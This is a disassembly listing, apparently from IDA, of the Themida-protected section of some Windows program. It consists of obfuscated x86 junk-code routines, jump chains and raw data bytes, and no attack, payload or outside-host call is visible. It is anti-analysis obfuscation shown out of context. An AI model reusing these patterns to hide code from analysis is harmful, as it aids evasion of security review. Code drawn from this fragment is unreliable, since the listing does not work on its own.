loc_5593E1:				; CODE XREF: Themida_:00553D4Ej
		inc	si
		xor	si, 500Dh
		add	bx, 33C3h
		add	bx, si
		sub	bx, 33C3h
		pop	esi
		add	ax, bx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	ax, 559Eh
		add	ax, 4077h
		add	bx, 4294h
		jmp	loc_56143E
; ---------------------------------------------------------------------------
byte_559415	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005507ECo
aS_7		db '$И',9,'^',0
		align 2
aITsby		db '┴,$TИbY',0
		dw 2900h
		dd 0EBC681C6h, 58242E72h, 4EC81h, 3C890000h, 0F1EBF24h
		dd 0FE012807h, 5F2434FFh, 4C481h, 0C6010000h, 52E08950h
		dd 4BAh, 497AE900h, 535B0000h, 328FC4BBh, 5BDE01E3h, 0FFF284E9h
		dd 4D23BEFFh, 46E97366h, 31000022h, 2355DE8h, 81FAA6B0h
		dd 55681CEEh, 81C6016Fh, 55681CC6h, 24048B6Fh, 8104C483h
		dd 1E4736EAh, 81F22938h, 1E4736C2h, 2434FF38h, 0C179E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5594A6:				; CODE XREF: Themida_:0055C60Dj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_553D0B
; ---------------------------------------------------------------------------


loc_5594B7:				; CODE XREF: Themida_:00551D3Cj
		push	4
		pop	ecx
		add	eax, ecx
		jmp	loc_5515EC
; ---------------------------------------------------------------------------


loc_5594C4:				; CODE XREF: Themida_:00559F7Fj
		push	4
		jmp	loc_55A4D1
; ---------------------------------------------------------------------------
		dw 9668h
		dd 0E900005Eh, 0ED9h, 5004C483h, 0D518BCB8h, 58C60157h
		dd 7D4AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5594E9:				; CODE XREF: Themida_:005622CAj
		pop	esp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		jmp	loc_56336F
; ---------------------------------------------------------------------------


loc_5594FC:				; CODE XREF: Themida_:0055EDDCj
		pop	ebp
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55CB63
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0AAEB8100h, 8103F12Fh,	4ECh, 240C8900h, 2E556AB9h
		dd 652EE905h, 3C870000h, 0D5875C24h, 0D587D2F7h, 6A5AF581h
		dd 535535ACh, 874B5B5Dh, 0A6B951DDh, 21151374h,	240C8BCDh
		dd 6D4AE9h, 3C875A00h, 96E95C24h, 81FFFFA7h, 2C51A8E9h
		dd 0C1814903h, 0CA881A97h, 8159CF29h, 4ECh, 243C8900h
		dd 81240C8Bh, 4C4h, 0C6815F00h,	3588020Ah, 0F4E9CE01h
		dd 0B4FFFFC3h, 84F2E99Bh, 3868FFFFh, 0E9000007h, 66A7h
		dd 59D8C681h, 0FE014604h, 5756BF57h, 0E94F4A9Dh, 5DBEh
		dd 31083D05h, 5D0F734h,	0C1DDF52h, 69CCC781h, 0C7013EB7h
		dd 69CCEF81h, 1583EB7h,	7FA3E9F8h, 0C4830000h, 1AEB8104h
		dd 315EE944h, 1156E9D8h, 89570000h, 4C781E7h, 81000000h
		dd 4C7h, 243C8700h, 7DDBE9h, 81EB0100h,	6C4DCBC3h, 0C3815D57h
		dd 3A8E1664h, 0FF7D4AE9h, 4C381FFh, 83000000h, 1C8704C3h
		dd 0BD555C24h, 244D68DDh, 0C581D5F7h, 244D68E2h, 0B43C681h
		dd 0C6810450h, 6FB8594Dh, 0EE81EE01h, 6FB8594Dh, 0B43EE81h
		dd 2C8B0450h, 4C48124h,	68000000h, 5464h, 57240489h, 366A3BFh
		dd 0B1B7E92Ch, 8768FFFFh, 89000053h, 2B9240Ch, 81000000h
		dd 726796EFh, 81CF0103h, 726796C7h, 240C8B03h, 50E95451h
		dd 0BA000019h, 64367026h, 7508E9h
		db 0
; ---------------------------------------------------------------------------


loc_55968D:				; CODE XREF: Themida_:0055764Fj
		shr	esi, 8
		xor	esi, 2FDF688Fh
		jmp	loc_5547A3
; ---------------------------------------------------------------------------


loc_55969B:				; CODE XREF: Themida_:00553CD1j
		xchg	eax, [esp]
		pop	esp
		push	edx
		push	ecx
		mov	ch, 7Dh
		jmp	loc_55B48F
; ---------------------------------------------------------------------------
		dd 0B850E589h, 4, 8358C501h, 2C8704EDh,	14895C24h, 2BE5624h
		dd 0E9382238h, 4F7Ah, 5DE95552h, 5F00001Bh, 242C8758h
		dd 0E924248Bh, 0FFFF9FB5h
; ---------------------------------------------------------------------------


loc_5596DC:				; CODE XREF: Themida_:0055D709j
		pop	ebp
		jmp	loc_560730
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 4C681h, 0C6810000h, 4, 31243433h, 34332434h,	3CE95C24h
		dd 81FFFFA5h, 7474D5E9h, 1588E97Eh, 0CD890000h,	5DE88959h
		dd 0F7EAE950h, 0E5C1FFFFh, 45EDD107h, 2FEEED81h, 0EF8952FAh
		dd 0E9FD295Dh, 0FFFFFFA3h
; ---------------------------------------------------------------------------


loc_55972C:				; CODE XREF: Themida_:005510B2j
		mov	[esp], ebx
		jmp	loc_55C41B
; ---------------------------------------------------------------------------


loc_559734:				; CODE XREF: Themida_:0056499Bj
		xor	dh, 0A6h
		add	ch, dh
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5621B5
; ---------------------------------------------------------------------------
		dd 6FBABE56h, 814E49B2h, 0B26FBDF6h, 0E9F18949h, 0FFFF9D10h
; ---------------------------------------------------------------------------


loc_559764:				; CODE XREF: Themida_:0055F13Aj
		pop	edx
		xor	eax, edi
		mov	edi, [esp]
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4
		push	53B5h
		mov	[esp], ebp
		push	esi
		mov	esi, 4D922F0Fh
		add	esi, 57176115h
		sub	esi, 38F62634h
		jmp	loc_559B16
; ---------------------------------------------------------------------------


loc_559798:				; CODE XREF: Themida_:0055D159j
		pop	ebp
		xor	ecx, 2AC91062h
		mov	edi, ecx
		pop	ecx
		jmp	loc_55208B
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EE8105E6h, 0DEEB799Ch, 15EF289h, 0C7815AD7h, 4, 5C243C87h
		dd 348BF031h, 4C48324h,	2B668h,	242C8900h, 4B116850h, 0BD580B0Bh
		dd 2522318h, 8158C531h,	0F55AB8CDh, 0E9DDF77Fh,	0AA31h
		dd 5AE9EE00h, 810000A8h, 205F8FC9h, 63C18114h, 2183EA1Eh
		dd 554E59CEh, 0C6105BDh, 71CD815Bh, 0C16A213Ch,	4D4D05EDh
		dd 8106EDC1h, 461943F5h, 0C9C8E96Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559822:				; CODE XREF: Themida_:0055F595j
		sub	ebx, ebp
		push	ebp
		mov	ebp, 210F206Fh
		jmp	loc_55BF80
; ---------------------------------------------------------------------------


loc_55982F:				; CODE XREF: Themida_:0055165Cj
		xor	ebx, 1FDF95FEh
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_55DF09
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 0E904C183h, 2798h, 5357EB81h, 6D68063Bh, 89000014h
		dd 0BD552404h, 3D5B52F4h, 4FB1ED81h, 0E889C430h, 5A31E95Dh
		dd 248B0000h, 24048924h, 6D8268h, 47D7E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559882:				; CODE XREF: Themida_:0055C706j
		not	ebx
		add	ebx, 0FFFFFFFFh
		jmp	loc_55A4B0
; ---------------------------------------------------------------------------
		db 83h
		dd 148704C4h, 24248B24h, 54241489h, 5A2434FFh, 4C481h
		dd 0C2810000h, 4, 4BF57h, 0E9510000h, 93C8h
; ---------------------------------------------------------------------------


loc_5598B8:				; CODE XREF: Themida_:0055E489j
		xchg	esi, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	esi
		mov	esi, 1
		jmp	loc_5651F4
; ---------------------------------------------------------------------------
		db 0C3h
		dd 0FF70DEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5598D1:				; CODE XREF: Themida_:00562D27j
		add	ebx, 6B8E4ECEh
		pop	esi
		jmp	loc_555A45
; ---------------------------------------------------------------------------


loc_5598DD:				; CODE XREF: Themida_:00553C6Ej
		add	esp, 4
		push	7714h
		mov	[esp], ebx
		push	eax
		mov	al, 91h
		jmp	loc_55A0E5
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC812404h, 4, 52241C89h, 0A790E9h
		db 0
; ---------------------------------------------------------------------------


loc_559905:				; CODE XREF: Themida_:00550B43j
		add	edx, 4
		add	edx, 4
		jmp	loc_56295F
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 48F0000h, 0AF66E924h, 92680000h, 89000073h
		dd 4DE92404h
		db 6Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55992F:				; CODE XREF: Themida_:0056028Ej
		push	dword ptr [esp]
		pop	edi
		push	esi
		jmp	loc_55C365
; ---------------------------------------------------------------------------
		db 0C1h, 0E0h, 4
		dd 8ACBE950h, 0D329FFFFh, 0FA49E955h, 5159FFFFh, 157BE9h
		db 0
; ---------------------------------------------------------------------------


loc_559951:				; CODE XREF: Themida_:00551CECj
		xor	ecx, 1007430Bh
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		not	ecx
		not	ecx
		add	ecx, 1EAB0F19h
		add	ecx, 7929ABD3h
		add	edx, ecx
		pop	ecx
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_55A64D
		push	ebx
		mov	ebx, 1Ch
		jmp	loc_5645F5
; ---------------------------------------------------------------------------
		dw 0FD31h
a_sd		db '_И└/',0
		align 2
		dw 4481h
		dd 6D890424h, 6C8170B8h, 63540424h, 6C817BB8h, 270424h
		dd 34FF3EDDh, 0C4835A24h, 24148B04h, 4C481h, 0B5E90000h
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5599C3:				; CODE XREF: Themida_:00551C48j
		sub	esi, 4B592AF8h
		add	esi, edx
		add	esi, 4B592AF8h
		jmp	loc_5648FB
; ---------------------------------------------------------------------------


loc_5599D6:				; CODE XREF: Themida_:005622A6j
		sub	ebp, 4ED2677Fh
		sub	ebp, 0BCB9D068h
		push	ebp
		jmp	loc_55C550
; ---------------------------------------------------------------------------


loc_5599E8:				; CODE XREF: Themida_:005581C6j
		mov	eax, [esp]
		jmp	loc_55760F
; ---------------------------------------------------------------------------
		dd 4BF57h, 0BE050000h, 17EB95Bh, 5BBE2DF8h, 8E97EB9h, 0FE0000B1h
		dd 53D3E9CFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559A0E:				; CODE XREF: Themida_:00564E3Ej
		pop	edx
		jmp	loc_563A4C
; ---------------------------------------------------------------------------
		dd 4EC835Ch, 83242C89h,	148904ECh, 2CD4BA24h, 2BBD306Dh
		dd 29A48850h, 2434FFD5h, 0FFF3FEE9h, 85E95EFFh
		db 86h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559A3B:				; CODE XREF: Themida_:0055EBFCj
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_553987
; ---------------------------------------------------------------------------
		dd 0A1E95156h, 52FFFFA9h, 322BBF57h, 69E92044h,	51FFFFC7h
		dd 3B4EF6B9h, 81D1F70Fh, 3B4EFBC1h, 0E9CF010Fh,	0FFFFB6B2h
		dd 0C581DDF7h, 37B53275h, 686DE9h, 4335C00h, 24043124h
		dd 0E9240433h, 2BEFh, 0E904C483h, 1C87h, 4207E2C1h, 5EA9E281h
		dd 0F28134E1h, 2F37FE2Ch, 542AE9h, 2C48300h, 19D3E9h
		db 0
byte_559AB5	db 66h,	8Bh, 4		; DATA XREF: Themida_:00550738o
		dd 0F0B0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559ABE:				; CODE XREF: Themida_:0055AC8Dj
		pop	ecx
		push	7A36h
		mov	[esp], edx
		push	0BA1h
		mov	[esp], esp
		jmp	loc_55F89B
; ---------------------------------------------------------------------------


loc_559AD4:				; CODE XREF: Themida_:00553010j
		push	1689h
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp


loc_559AEB:				; CODE XREF: Themida_:00563387j
		push	3FB4h
		mov	[esp], edi
		push	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55BDCA
; ---------------------------------------------------------------------------


loc_559B09:				; CODE XREF: Themida_:0056355Dj
		push	ebp
		jmp	loc_55B06A
; ---------------------------------------------------------------------------
		db 41h
		dd 0E987E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559B16:				; CODE XREF: Themida_:00559793j
		add	esi, 40500658h
		add	esi, 0C877BFF8h
		mov	ebp, esi
		pop	esi
		push	7A1Ah
		mov	[esp], ebx
		push	edi
		mov	edi, esp
		jmp	loc_5526C3
; ---------------------------------------------------------------------------


loc_559B35:				; CODE XREF: Themida_:00556766j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		jmp	loc_55D8ED
; ---------------------------------------------------------------------------
		align 4
		dd 0C8B66CBh, 2C48324h,	2832C380h, 32EB80E3h, 8BAEEB80h
		dd 0C4812404h, 4, 66535266h, 8815B151h,	9264E9CBh, 0E7810000h
		dd 548B3CF9h, 2C1CC781h, 0F921E646h, 81D1F75Fh,	0BEF7DBF1h
		dd 538905CBh, 0C80149C8h, 0C853892Dh, 0B1E95949h, 1FFFFFEh
		dd 8104246Ch, 7704246Ch, 56545079h, 0C06C35BEh,	24448172h
		dd 0B49B808h, 24742945h, 246C8108h, 0B49B808h, 24348B45h
		dd 4C481h, 44810000h, 22540424h, 0FF5D4E96h, 56582434h
		dd 0C681E689h, 4, 1641E9h, 4EF8300h, 31243C33h,	3C33243Ch
		dd 14895C24h, 51E28924h, 0C181E189h, 4,	4E981h,	0C870000h
		dd 2C895C24h, 815D5424h, 4C5h, 7343E900h, 0C5810000h, 24BFD289h
		dd 6A52E955h, 0D6F70000h, 9989EE81h, 0F08921C8h, 6BE4055Eh
		dd 0D00136F6h, 0F66BE42Dh, 24148B36h, 0E9E38953h, 4FD0h
		dd 50E9DAF6h
		db 0BDh, 2 dup(0)
byte_559C4F	db 0ADh			; DATA XREF: Themida_:00550838o
		dd 0E904EC83h, 0AA54h, 0D0E95153h
		db 84h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559C5F:				; CODE XREF: Themida_:005517B8j
		mov	[esp], ebp
		mov	ebp, 6CC95119h
		dec	ebp
		xor	ebp, 79D4058Fh
		jmp	loc_55C6E1
; ---------------------------------------------------------------------------


loc_559C73:				; CODE XREF: Themida_:00564A8Bj
		mov	bl, 78h
		sub	ch, bl
		pop	bx
		not	ch
		inc	ch
		shl	ch, 7
		push	ecx
		jmp	loc_560BAE
; ---------------------------------------------------------------------------
		dw 0C301h
		dd 63A0C381h, 0EB8147F3h, 3A8E1664h, 0FFDD6FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559C99:				; CODE XREF: Themida_:00559ECEj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55C547
; ---------------------------------------------------------------------------


loc_559CAA:				; CODE XREF: Themida_:00561150j
		add	edx, 76DEA058h
		mov	esi, edx
		push	dword ptr [esp]
		jmp	loc_558FAB
; ---------------------------------------------------------------------------


loc_559CBA:				; CODE XREF: Themida_:0056080Aj
		push	cx
		push	edx
		mov	dl, 0C9h
		mov	cl, 0D1h
		sub	cl, dl
		mov	edx, [esp]
		add	esp, 4
		sub	bl, 98h
		sub	bl, cl
		jmp	loc_5584BC
; ---------------------------------------------------------------------------
		dw 8868h
		dd 0E900006Dh, 0FFFFD5A0h
; ---------------------------------------------------------------------------


loc_559CE0:				; CODE XREF: Themida_:005605F2j
		mov	edx, esi
		jmp	loc_5529CA
; ---------------------------------------------------------------------------


loc_559CE7:				; CODE XREF: Themida_:0055CB88j
		or	edx, 5F0F337Eh
		jmp	loc_561146
; ---------------------------------------------------------------------------


loc_559CF2:				; CODE XREF: Themida_:005512A0j
		pop	ebp
		and	ebp, 156E2073h
		not	ebp
		shl	ebp, 4
		jmp	loc_55FA4B
; ---------------------------------------------------------------------------


loc_559D03:				; CODE XREF: Themida_:0055897Fj
		sub	edx, ebp
		add	edx, 21926DBDh
		pop	ebp
		add	ebx, edx
		jmp	loc_553F30
; ---------------------------------------------------------------------------


loc_559D13:				; CODE XREF: Themida_:0055F018j
		pop	eax
		push	edx
		push	491Dh
		mov	[esp], ebx
		push	24CD5946h
		jmp	loc_557991
; ---------------------------------------------------------------------------


loc_559D27:				; CODE XREF: Themida_:0055AA67j
		sub	edi, ecx
		pop	ecx
		add	edi, ebp
		push	ebx
		mov	ebx, 6E490D19h
		and	ebx, 4AE05A7Bh
		and	ebx, 1BA1149Ch
		jmp	loc_562FC3
; ---------------------------------------------------------------------------


loc_559D43:				; CODE XREF: Themida_:0056513Bj
		pop	esi
		add	esi, 4
		push	ebp
		mov	ebp, 33F845B2h
		jmp	loc_55C8CF
; ---------------------------------------------------------------------------


loc_559D55:				; CODE XREF: Themida_:0055D18Fj
		pop	eax
		pop	edx
		add	edx, 4
		push	163Dh
		mov	[esp], eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		jmp	loc_5633BB
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 1, 348BF589h, 4C48324h, 34FFE921h, 242C8B24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_55AE56
; ---------------------------------------------------------------------------
		dw 0EA01h
		dd 8BD0015Dh, 0C4812414h, 4, 4EC81h, 3C890000h,	0E6895624h
		dd 4BB53h, 0DE010000h, 4EE815Bh, 87000000h, 0E95C2434h
		dd 520Ah
; ---------------------------------------------------------------------------


loc_559DD8:				; CODE XREF: Themida_:0055C8D8j
		sub	ebp, 0ABF4BE43h
		add	esi, ebp
		pop	ebp
		jmp	loc_558A19
; ---------------------------------------------------------------------------


loc_559DE6:				; CODE XREF: Themida_:00552A81j
		push	ecx
		jmp	loc_55FE85
; ---------------------------------------------------------------------------


loc_559DEC:				; CODE XREF: Themida_:0055555Cj
		sub	esi, 94F0382h
		jmp	loc_550E9B
; ---------------------------------------------------------------------------


loc_559DF7:				; CODE XREF: Themida_:0056148Ej
		xor	ebp, esi
		pop	esi
		add	edx, ebp
		pop	ebp
		push	ebx
		mov	ebx, 0
		add	ebx, edx
		jmp	loc_55D43B
; ---------------------------------------------------------------------------
aXsP		db 'XИ°╞',0
		align 10h
		dd 8B241C87h, 14892424h, 0CF5E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	dword ptr [esp+4], 5354559Dh
		add	[esp+4], eax
		jmp	loc_55402C
; ---------------------------------------------------------------------------
		db 80h,	0EBh, 7Fh
		dd 82B7E9h, 24740100h, 39FFE904h, 54520000h, 4C2815Ah
		dd 83000000h, 148704C2h, 0C6815C24h, 4,	0FF9ECAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559E89:				; CODE XREF: Themida_:0056205Aj
		push	dword ptr [ebx]
		pop	ecx
		pop	ebx
		jmp	loc_550AF8
; ---------------------------------------------------------------------------


loc_559E92:				; CODE XREF: Themida_:0055573Aj
		xor	ebx, 9FC25A12h
		add	eax, ebx
		jmp	loc_55FF32
; ---------------------------------------------------------------------------
byte_559E9F	db 0FFh			; DATA XREF: Themida_:0055095Co
		dd 669D1C77h, 241CD359h, 6B01E99Ch, 0C781FFFFh,	4, 8B243C87h
		dd 0E8682424h, 0E9000041h, 0FFFFE5CBh, 21F5E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559ECA:				; CODE XREF: Themida_:00551F1Dj
		pop	edx
		push	ebp
		mov	ebp, esp
		jmp	loc_559C99
; ---------------------------------------------------------------------------


loc_559ED3:				; CODE XREF: Themida_:00556997j
		push	edx
		mov	edx, esp
		jmp	loc_552D30
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812434h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55C612
; ---------------------------------------------------------------------------
		dd 80D3B151h, 8852DDE9h, 5AD088CAh, 81240C8Bh, 4C4h, 245D3400h
		dd 34F2245Eh, 58C52030h, 72846866h, 240C8966h, 1245486h
		dd 0FFC9ABE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559F1D:				; CODE XREF: Themida_:005583EDj
		xor	eax, esi
		xor	esi, eax
		jmp	loc_565BF1
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 0AF5B67C9h, 81D1F73Ch, 1E9h,	0E9D98700h, 4A44h, 5E241CF7h
		dd 60BCE81h, 0D6F76CEAh, 0E905E6C1h, 0FFFFDA05h, 0E414E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559F56:				; CODE XREF: Themida_:0055FDE7j
		mov	[esp], esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		pop	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	edx
		jmp	loc_55444B
; ---------------------------------------------------------------------------


loc_559F77:				; CODE XREF: Themida_:00551AB0j
		push	39F9h
		mov	[esp], ecx
		jmp	loc_5594C4
; ---------------------------------------------------------------------------
		dd 1C3B68h, 24148900h, 42474FFh, 6824148Bh, 6B5Ah, 0FF8CE3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559F9D:				; CODE XREF: Themida_:00556594j
		mov	ecx, 4
		add	edx, 4EF3201Dh
		sub	edx, 2F2E48E4h
		sub	edx, ecx
		add	edx, 2F2E48E4h
		jmp	loc_5559B0
; ---------------------------------------------------------------------------


loc_559FBB:				; CODE XREF: Themida_:0055E8CCj
		add	al, bl
		jmp	loc_5551FB
; ---------------------------------------------------------------------------


loc_559FC2:				; CODE XREF: Themida_:00554810j
		xor	esi, [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		push	edx
		push	3D016DD4h
		pop	edx
		or	edx, 67F07BD1h
		shr	edx, 1
		xor	edx, 3FF8BFEEh
		sub	ebx, edx
		jmp	loc_560E8D
; ---------------------------------------------------------------------------


loc_559FF0:				; CODE XREF: Themida_:00560EA4j
		add	esp, 4
		jmp	loc_561BC6
; ---------------------------------------------------------------------------
		db 0BEh
		align 10h
		dd 0F287D629h, 0F281425Eh, 0D6D3F891h, 815AD529h, 0E56D47EDh
		dd 0E9E8296Ch, 828Fh
dword_55A01C	dd 0FF2434FFh, 81582434h, 4ECh,	240C8900h, 2087E9h
					; DATA XREF: Themida_:005507C8o
		db 0
; ---------------------------------------------------------------------------


loc_55A031:				; CODE XREF: Themida_:0055C258j
		shr	ebx, 3
		shl	ebx, 6
		dec	ebx
		push	ebp
		mov	ebp, 76CCF734h
		xor	ebx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	esi, ecx
		mov	ecx, [esp]
		jmp	loc_55C05B
; ---------------------------------------------------------------------------
aIHL		db '┴$$h*L',0
		align 4
		dd 452E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A069:				; CODE XREF: Themida_:0055F530j
		pop	esp
		jmp	loc_5567C0
; ---------------------------------------------------------------------------
		db 28h
		dd 0DEB551C3h, 0FFC503E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A079:				; CODE XREF: Themida_:00564909j
		mov	eax, 3FD075DBh
		jmp	loc_55DAE0
; ---------------------------------------------------------------------------


loc_55A083:				; CODE XREF: Themida_:00552ADEj
		sub	esi, 267140ACh
		sub	esi, 354E68DBh
		push	eax
		jmp	loc_55F6CC
; ---------------------------------------------------------------------------


loc_55A095:				; CODE XREF: Themida_:005519C0j
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_55582E
; ---------------------------------------------------------------------------


loc_55A0AA:				; CODE XREF: Themida_:00551E96j
		neg	edx
		xor	edx, 0EC73B0B5h
		jmp	loc_553821
; ---------------------------------------------------------------------------


loc_55A0B7:				; CODE XREF: Themida_:0055DC4Bj
		add	esp, 4
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		push	ecx
		jmp	loc_554472
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aHv		db '$h┌[',0
		align 2
		dw 8AE9h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A0D7:				; CODE XREF: Themida_:00557DC6j
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_5509AF
; ---------------------------------------------------------------------------


loc_55A0E5:				; CODE XREF: Themida_:005598EEj
		sub	al, 0D8h
		add	al, 48h
		neg	al
		add	al, 61h
		jmp	loc_56234B
; ---------------------------------------------------------------------------


loc_55A0F2:				; CODE XREF: Themida_:00551373j
		push	edx
		push	1807D1Dh
		jmp	loc_5612DF
; ---------------------------------------------------------------------------


loc_55A0FD:				; CODE XREF: Themida_:005587E0j
		add	ebp, 4
		jmp	loc_55C207
; ---------------------------------------------------------------------------
		dd 81DBF759h, 670413C3h, 87FB8713h, 0F7D987CFh,	87D987D3h
		dd 81FB87CFh, 4BE520EBh, 8BD989F6h, 0C483241Ch,	5EF18104h
		dd 0C13ACF52h, 0E9C106E1h, 4EC8103h, 89000000h,	3EB82404h
		dd 0E90DDC18h, 0FFFFC9D9h, 4BB5358h, 1000000h, 0C0835BD8h
		dd 24048704h, 0FF793CE9h, 4C481FFh, 0E9000000h,	4E8Bh
; ---------------------------------------------------------------------------


loc_55A16C:				; CODE XREF: Themida_:00565021j
		add	esp, 4
		jmp	loc_557122
; ---------------------------------------------------------------------------
		dd 5020C5BDh, 1CF58132h, 0E97B5F64h, 0FFFF7FA1h
; ---------------------------------------------------------------------------


loc_55A184:				; CODE XREF: Themida_:0055566Dj
		shr	esi, 8
		neg	esi
		push	ebp
		mov	ebp, 1
		add	esi, ebp
		pop	ebp
		xor	esi, 64C06C5Bh
		neg	esi
		add	esi, 0DF9744AEh
		sub	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		and	edx, ebx
		jmp	loc_565D17
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0B07E9435h, 8BC289EDh, 0E9562404h, 96B9h
; ---------------------------------------------------------------------------


loc_55A1C8:				; CODE XREF: Themida_:00555145j
		push	ecx
		mov	ecx, 41C41B4Fh
		mov	ebx, ecx
		jmp	loc_558018
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 68000000h, 5D40h, 8B240489h,	0C481241Ch, 4, 74F86858h
		dd 14890000h, 94B85024h, 0C11F9B0Ch, 1BE908E0h
		db 14h,	2 dup(0)
byte_55A203	db 0ACh			; DATA XREF: Themida_:00550774o
		dd 0EC83D830h, 241C8904h, 0FFEF79E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A211:				; CODE XREF: Themida_:0055433Dj
		mov	[edx+38h], ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55D13D
; ---------------------------------------------------------------------------
		db 51h
		dd 0CB88D188h, 5CE95A59h
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A22B:				; CODE XREF: Themida_:005551F6j
		xor	esi, ebx
		xor	ebx, esi
		xor	esi, ebx
		dec	ebx
		xchg	ebx, esi
		xor	esi, 4AFF1360h
		neg	esi
		and	esi, 3BB15385h
		jmp	loc_562E63
; ---------------------------------------------------------------------------


loc_55A247:				; CODE XREF: Themida_:0055C93Ej
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	8000h
		jmp	loc_562D7A
; ---------------------------------------------------------------------------


loc_55A25A:				; CODE XREF: Themida_:0055E5A8j
		not	edx
		add	edx, 670BAED5h
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		push	edx
		jmp	loc_563260
; ---------------------------------------------------------------------------


loc_55A270:				; CODE XREF: Themida_:0055FA46j
		pop	edi
		push	ecx
		mov	ecx, 4FC1167Ah
		sub	ecx, 4FC11676h
		add	edi, ecx
		pop	ecx
		push	52B0h
		mov	[esp], esi
		push	4
		pop	esi
		push	ebx
		mov	ebx, 57939F5h
		sub	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edi, 28F626A4h
		jmp	loc_55CD00
; ---------------------------------------------------------------------------
byte_55A2A7	db 8Fh			; DATA XREF: Themida_:00550758o
		dd 6701E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A2AE:				; CODE XREF: Themida_:00557798j
		add	esp, 4
		push	ebx
		jmp	loc_563983
; ---------------------------------------------------------------------------
		dw 0FE00h
		dd 0FFADEE80h, 835B2434h, 0F00004C4h, 8324148Bh, 0E6E904C4h
		db 54h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A2D3:				; CODE XREF: Themida_:0055E137j
		mov	esi, [esp]
		add	esp, 4
